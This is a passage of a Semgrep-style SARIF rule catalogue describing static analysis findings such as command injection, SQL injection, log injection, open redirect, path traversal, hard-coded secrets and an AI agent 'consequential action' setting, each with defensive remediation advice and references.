[https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://flask.palletsprojects.com/en/2.3.x/logging/](https://flask.palletsprojects.com/en/2.3.x/logging/)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask","id":"python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask","name":"python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found 'x-openai-isConsequential: false' in a state-changing HTTP method: $METHOD $PATH. This Action configuration will enable the 'Always Allow' option for state-changing HTTP methods, such as POST, PUT, PATCH, or DELETE. The risk of a user selecting the 'Always Allow' button is that the agent could perform unintended actions on behalf of the user. When working with sensitive functionality, it is always best to include a Human In The Loop (HITL) type of control. Consider the trade-off between security  and user friction and then make a risk-based decision about this function."},"help":{"markdown":"Found 'x-openai-isConsequential: false' in a state-changing HTTP method: $METHOD $PATH. This Action configuration will enable the 'Always Allow' option for state-changing HTTP methods, such as POST, PUT, PATCH, or DELETE. The risk of a user selecting the 'Always Allow' button is that the agent could perform unintended actions on behalf of the user. When working with sensitive functionality, it is always best to include a Human In The Loop (HITL) type of control. Consider the trade-off between security  and user friction and then make a risk-based decision about this function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false)\n - [https://platform.openai.com/docs/actions/consequential-flag](https://platform.openai.com/docs/actions/consequential-flag)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design/](https://owasp.org/Top10/A04_2021-Insecure_Design/)\n - [https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v1_1.pdf](https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v1_1.pdf)\n","text":"Found 'x-openai-isConsequential: false' in a state-changing HTTP method: $METHOD $PATH. This Action configuration will enable the 'Always Allow' option for state-changing HTTP methods, such as POST, PUT, PATCH, or DELETE. The risk of a user selecting the 'Always Allow' button is that the agent could perform unintended actions on behalf of the user. When working with sensitive functionality, it is always best to include a Human In The Loop (HITL) type of control. Consider the trade-off between security  and user friction and then make a risk-based decision about this function."},"helpUri":"https://semgrep.dev/r/yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false","id":"yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false","name":"yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false","properties":{"precision":"very-high","tags":["CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')","HIGH CONFIDENCE","OWASP-A04:2021 Insecure Design","OWASP-LLM08:2023 - Excessive Agency","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"This rule has been deprecated. Please remove it from your policies and rulepacks."},"help":{"markdown":"This rule has been deprecated. Please remove it from your policies and rulepacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"This rule has been deprecated. Please remove it from your policies and rulepacks."},"helpUri":"https://semgrep.dev/r/go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint","id":"go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint","name":"go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information."},"help":{"markdown":"Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.open-redirect.open-redirect)\n - [https://flask-login.readthedocs.io/en/latest/#login-example](https://flask-login.readthedocs.io/en/latest/#login-example)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1)\n - [https://docs.python.org/3/library/urllib.parse.html#url-parsing](https://docs.python.org/3/library/urllib.parse.html#url-parsing)\n","text":"Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information."},"helpUri":"https://semgrep.dev/r/python.flask.security.open-redirect.open-redirect","id":"python.flask.security.open-redirect.open-redirect","name":"python.flask.security.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url","id":"python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url","name":"python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"'reflect.MakeFunc' detected. This will sidestep protections that are normally afforded by Go's type system. Audit this call and be sure that user input cannot be used to affect the code generated by MakeFunc; otherwise, you will have a serious security vulnerability."},"help":{"markdown":"'reflect.MakeFunc' detected. This will sidestep protections that are normally afforded by Go's type system. Audit this call and be sure that user input cannot be used to affect the code generated by MakeFunc; otherwise, you will have a serious security vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.reflect-makefunc.reflect-makefunc)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"'reflect.MakeFunc' detected. This will sidestep protections that are normally afforded by Go's type system. Audit this call and be sure that user input cannot be used to affect the code generated by MakeFunc; otherwise, you will have a serious security vulnerability."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.reflect-makefunc.reflect-makefunc","id":"go.lang.security.audit.reflect-makefunc.reflect-makefunc","name":"go.lang.security.audit.reflect-makefunc.reflect-makefunc","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.reflect-makefunc.reflect-makefunc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi","id":"python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi","name":"python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found 'subprocess' function '$FUNC' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead."},"help":{"markdown":"Found 'subprocess' function '$FUNC' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.subprocess-shell-true.subprocess-shell-true)\n - [https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess](https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess)\n - [https://docs.python.org/3/library/subprocess.html](https://docs.python.org/3/library/subprocess.html)\n","text":"Found 'subprocess' function '$FUNC' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.subprocess-shell-true.subprocess-shell-true","id":"python.lang.security.audit.subprocess-shell-true.subprocess-shell-true","name":"python.lang.security.audit.subprocess-shell-true.subprocess-shell-true","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.subprocess-shell-true.subprocess-shell-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysql.python-mysql-empty-password.python-mysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.mysql.python-mysql-empty-password.python-mysql-empty-password","id":"python.mysql.python-mysql-empty-password.python-mysql-empty-password","name":"python.mysql.python-mysql-empty-password.python-mysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysql.python-mysql-empty-password.python-mysql-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi)\n - [https://aiosqlite.omnilib.dev/en/stable/api.html](https://aiosqlite.omnilib.dev/en/stable/api.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi","id":"python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi","name":"python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Only use DataContractResolver if you are completely sure of what information is being serialized. Malicious types can cause unexpected behavior."},"help":{"markdown":"Only use DataContractResolver if you are completely sure of what information is being serialized. Malicious types can cause unexpected behavior.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver)\n - [https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide](https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide)\n","text":"Only use DataContractResolver if you are completely sure of what information is being serialized. Malicious types can cause unexpected behavior."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver","id":"csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver","name":"csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-msg.file-taint-msg)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-msg.file-taint-msg","id":"java.micronaut.path-traversal.file-taint-msg.file-taint-msg","name":"java.micronaut.path-traversal.file-taint-msg.file-taint-msg","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-taint-msg.file-taint-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Rather than adding one element at a time, consider batch loading to improve performance."},"help":{"markdown":"Rather than adding one element at a time, consider batch loading to improve performance.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.batch-import)\n","text":"Rather than adding one element at a time, consider batch loading to improve performance."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.batch-import","id":"python.sqlalchemy.performance.performance-improvements.batch-import","name":"python.sqlalchemy.performance.performance-improvements.batch-import","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.performance.performance-improvements.batch-import"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `run` or `create` method it can result in running arbitrary container."},"help":{"markdown":"If unverified user data can reach the `run` or `create` method it can result in running arbitrary container.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run)\n - [https://cwe.mitre.org/data/definitions/250.html](https://cwe.mitre.org/data/definitions/250.html)\n","text":"If unverified user data can reach the `run` or `create` method it can result in running arbitrary container."},"helpUri":"https://semgrep.dev/r/python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run","id":"python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run","name":"python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/go.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"go.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"go.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information."},"help":{"markdown":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated)\n - [https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard](https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","id":"java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","name":"java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, the AWS Lambda Environment is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your environment variables in Lambda. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, the AWS Lambda Environment is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your environment variables in Lambda. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"By default, the AWS Lambda Environment is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your environment variables in Lambda. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted","id":"terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted","name":"terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Scala applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Remove it from configuration."},"help":{"markdown":"Scala applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Remove it from configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.scalac-debug.scalac-debug)\n - [https://docs.scala-lang.org/overviews/compiler-options/index.html](https://docs.scala-lang.org/overviews/compiler-options/index.html)\n","text":"Scala applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Remove it from configuration."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.scalac-debug.scalac-debug","id":"scala.lang.security.audit.scalac-debug.scalac-debug","name":"scala.lang.security.audit.scalac-debug.scalac-debug","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: 